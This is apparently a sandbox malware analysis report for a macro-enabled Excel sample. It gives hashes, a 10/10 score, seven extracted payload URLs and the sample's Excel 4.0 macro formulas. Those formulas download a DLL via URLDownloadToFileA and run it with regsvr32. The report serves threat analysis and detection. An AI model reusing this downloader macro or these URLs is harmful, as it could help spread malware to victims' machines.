Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615
-
Size
21KB
-
Sample
241111-zvm5bazkep
-
MD5
ec213c9f4a4e25f72f372fde1b86d619
-
SHA1
8fbd4c40ff18f2cb6728ee7ab5ebd98a790d6453
-
SHA256
bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615
-
SHA512
2cfd70d11d57b993ba743abde76ee189290d6dd04f6ed0db1d03672266652b10e3b19b966a3607ff92f9944df9281c5a4abcad57f68f4e6bb3f674da1078c93d
-
SSDEEP
384:pDfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:l4sN3zXuFCBn9kC+xbLb
Behavioral task
behavioral1
Sample
bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://buchhave.net/cache/t82rF5S/
https://www.bellaitaliatour.com/gite/YcFHn/
http://brainora.com/brand/Xf7eDVe/
http://breustchabrierarchitectes.fr/bca/CW5pD/
https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/
http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/
http://bestsafe.co.uk/cgi-bin/S29alEny/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Extracted
http://buchhave.net/cache/t82rF5S/
https://www.bellaitaliatour.com/gite/YcFHn/
http://brainora.com/brand/Xf7eDVe/
http://breustchabrierarchitectes.fr/bca/CW5pD/
https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/
http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/
http://bestsafe.co.uk/cgi-bin/S29alEny/
Targets
-
-
Target
bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615
-
Size
21KB
-
MD5
ec213c9f4a4e25f72f372fde1b86d619
-
SHA1
8fbd4c40ff18f2cb6728ee7ab5ebd98a790d6453
-
SHA256
bb7118889cc36bfef1526b86531da8b4a70cc3827a20042582c2dc074a3d8615
-
SHA512
2cfd70d11d57b993ba743abde76ee189290d6dd04f6ed0db1d03672266652b10e3b19b966a3607ff92f9944df9281c5a4abcad57f68f4e6bb3f674da1078c93d
-
SSDEEP
384:pDfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:l4sN3zXuFCBn9kC+xbLb
Score10/10 -